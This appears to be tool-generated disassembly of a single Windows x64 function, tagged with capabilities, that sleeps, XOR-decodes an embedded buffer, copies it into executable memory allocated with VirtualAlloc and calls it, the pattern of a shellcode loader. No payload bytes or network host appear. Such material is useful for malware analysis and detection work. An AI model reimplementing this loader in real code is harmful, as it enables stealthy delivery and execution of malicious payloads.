Function at 0x140001330
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x30], 0xfffffffffffffffe
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x20], 0x100
lea rdx, section..data
lea r9, [0x1400323c0]
lea rcx, [rbp - 0x28]
mov r8d, 0x3a1
call section..text
mov rbx, qword [rbp - 0x28]
mov rsi, qword [rbp - 0x20]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], 0
sub rsi, rbx
je 0x1400013c5
js 0x140001663
cmp rsi, 0x1000
jb 0x1400013cb
lea rcx, [rsi + 0x27]
call fcn.140003af0
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400013d6
xor edi, edi
xor edx, edx
jmp 0x14000142d
mov rcx, rsi
call fcn.140003af0
mov rdi, rax
mov qword [rbp + 0x10], rdi
lea r15, [rdi + rsi]
mov qword [rbp + 0x20], r15
xor r14d, r14d
mov rcx, rdi
xor edx, edx
mov r8, rsi
call fcn.140020210
mov qword [rbp + 0x18], r15
lea rax, [0x1400323b0]
nop dword [rax]
mov ecx, r14d
and ecx, 0xf
movzx ecx, byte [rcx + rax]
xor cl, byte [rbx + r14]
mov byte [rdi + r14], cl
inc r14
mov rbx, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x20]
sub rcx, rbx
cmp r14, rcx
jb 0x140001400
mov rdi, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
sub rdx, rdi
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140001481
mov r8, qword [rbp + 0x18]
sub r8, rdi
mov rcx, rbx
mov rdx, rdi
call fcn.1400205d0
call rbx
xor esi, esi
mov rcx, rbx
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rdi, rdi
jne 0x1400015eb
jmp 0x14000161b
xorps xmm0, xmm0
movups xmmword [rbp - 0x46], xmm0
movaps xmmword [rbp - 0x50], xmm0
mov ecx, 1
xor r8d, r8d
movabs rdi, 0xcccccccccccccccd
lea rbx, str.Key32vector_too_long
lea r9, str.Memory_allocation_failed.
nop dword [rax]
mov rax, rcx
mul rdi
shr rdx, 2
lea rax, [rdx + rdx*4]
mov r10, rbx
sub r10, rax
mov rax, r8
mul rdi
shr rdx, 2
lea rax, [rdx + rdx*4]
mov rdx, rbx
sub rdx, rax
movzx eax, byte [rdx + rcx - 1]
xor al, byte [rcx + r9 - 1]
mov byte [rbp + rcx - 0x51], al
movzx eax, byte [r10 + rcx]
xor al, byte [rcx + r9]
mov byte [rbp + rcx - 0x50], al
add r8, 2
add rcx, 2
cmp rcx, 0x1b
jne 0x1400014b0
xorps xmm0, xmm0
movaps xmmword [rbp - 0x10], xmm0
mov qword [rbp], 0
mov qword [rbp + 8], 0xf
mov byte [rsp + 0x20], 0
lea rsi, [rbp - 0x10]
mov edx, 0x1a
mov r9d, 0x1a
mov rcx, rsi
call fcn.140001f30
xor ecx, ecx
jmp 0x140001563
shr rdx, 2
lea rdx, [rdx + rdx*4]
mov r8, rbx
sub r8, rdx
movzx edx, byte [r8 + rcx]
xor dl, byte [rbp + rcx - 0x50]
mov byte [rax + rcx], dl
inc rcx
cmp rcx, 0x1a
je 0x140001579
mov rax, rcx
mul rdi
cmp qword [rbp + 8], 0x10
mov rax, rsi
jb 0x140001540
mov rax, qword [rbp - 0x10]
jmp 0x140001540
cmp qword [rbp + 8], 0x10
jb 0x140001586
mov rdx, qword [rbp - 0x10]
jmp 0x14000158a
lea rdx, [rbp - 0x10]
lea rcx, [0x1400337a0]
call fcn.1400017a0
mov rcx, rax
call fcn.140001b90
mov rax, qword [rbp + 8]
cmp rax, 0x10
jb 0x1400015dd
mov rcx, qword [rbp - 0x10]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400015d8
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001672
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140003b2c
mov esi, 1
mov rdi, qword [rbp + 0x10]
test rdi, rdi
je 0x14000161b
mov rdx, qword [rbp + 0x20]
sub rdx, rdi
cmp rdx, 0x1000
jb 0x140001613
mov rax, qword [rdi - 8]
add rdi, 0xfffffffffffffff8
sub rdi, rax
cmp rdi, 0x20
jae 0x140001668
add rdx, 0x27
mov rdi, rax
mov rcx, rdi
call fcn.140003b2c
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x140001651
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14000164c
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x14000166d
add rdx, 0x27
mov rcx, rax
call fcn.140003b2c
mov eax, esi
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
call fcn.140001cf0
call fcn.14000d09c
call fcn.14000d09c
call fcn.14000d09c
int3